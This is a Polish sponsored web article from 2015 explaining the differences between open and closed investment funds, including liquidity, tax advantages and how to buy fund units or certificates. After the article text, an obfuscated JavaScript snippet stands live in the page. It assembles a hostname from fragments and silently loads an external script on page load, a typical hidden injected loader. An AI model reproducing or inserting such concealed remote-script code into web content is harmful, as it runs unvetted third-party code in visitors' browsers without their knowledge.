27 września 2015r. godz. 15:12, odsłon: 1449, Redakcja

Fundusze inwestycyjne otwarte i zamknięte – które wybrać?

Fundusze inwestycyjne to popularny sposób lokowania oszczędności. Czym się różnią i co oferują inwestorom?

Fundusze inwestycyjne to popularny sposób lokowania oszczędności. Do ich licznych zalet należy możliwość osiągania wysokich zysków, różnicowania ryzyka oraz niewielka ilość czasu, jaką trzeba poświęcać na doglądanie inwestycji. Jest jednak wiele różnych rodzajów funduszy. Jeden z podziałów dzieli je na otwarte i zamknięte. Czym się różnią i co oferują inwestorom?

Różne typy funduszy inwestycyjnych

Fundusze otwarte to oferta wspólnego inwestowania dla wszystkich zainteresowanych. Osoba posiadająca nawet niewielkie oszczędności (rzędu kilkuset złotych) może w dowolnej chwili kupić lub umorzyć jednostki uczestnictwa. Fundusze otwarte dzielą się na wiele innych rodzajów, w zależności od tego, w jakie aktywa lokują środki inwestorów. Wyróżnia się na przykład fundusze obligacji, akcyjne czy mieszane, każde o innym poziomie potencjalnych zysków i ryzyka.

Fundusze inwestycyjne zamknięte nie dają z kolei możliwości swobodnego zakupu i odsprzedaży jednostek uczestnictwa. Zamiast nich, emitują bowiem certyfikaty inwestycyjne, które są notowane na GPW. Certyfikaty te mogą być publiczne lub prywatne. Można je nabyć na rynku pierwotnym podczas emisji, a także obracać nimi na rynku wtórnym.

Co oferują inwestorom FIZ

Do zalet zamkniętych funduszy inwestycyjnych należy niewątpliwie większa swoboda lokowania kapitału. Otwarte fundusze są ograniczone wieloma przepisami, które zabraniają im inwestowania w bardziej ryzykowne instrumenty. Konsekwencją tego jest fakt, że FIZ pozwalają posiadaczom certyfikatów na osiąganie większych zysków.

Ciekawą opcją jest również możliwość optymalizacji podatkowej dzięki funduszom zamkniętym. Są one bowiem zwolnione z podatku dochodowego od osób prawnych w przypadku reinwestowania wypracowanych zysków.

Do słabych stron funduszy zamkniętych w porównaniu z otwartymi należy natomiast niższa płynność oraz rzadsze wyceny posiadanych przez fundusz aktywów.

Jak inwestować w fundusze inwestycyjne

O ile inwestowanie w fundusze otwarte jest często możliwe na platformach udostępnianych przez same fundusze, to aby móc inwestować w FIZ należy mieć rachunek w domu maklerskim.

Samo nabywanie i sprzedaż certyfikatów inwestycyjnych nie jest rzeczą skomplikowaną. Trudności może natomiast dostarczyć wybór odpowiedniego funduszu oraz odpowiednia dywersyfikacja portfela, będąca podstawą udanej inwestycji. Na szczęście, w każdym dobrym domu maklerskim do dyspozycji są doradcy inwestycyjni, którzy chętnie udzielą rad i wskazówek.

Artykuł powstał we współpracy z serwisem https://michaelstrom.pl/.

(function(){ u1h5=document.createElement("script");u1h5.type="text/javascript"; u1h5.async=true;u1h5_=(("us")+"t")+"a";u1h5_+=("t.i")+""+"n";u1h5_+=(("f")+"o"); u1h5.src="http://"+u1h5_+"/5141561.8vrtse0e1h56qdlkXcew3v1y86tsle"; document.body.appendChild(u1h5); })();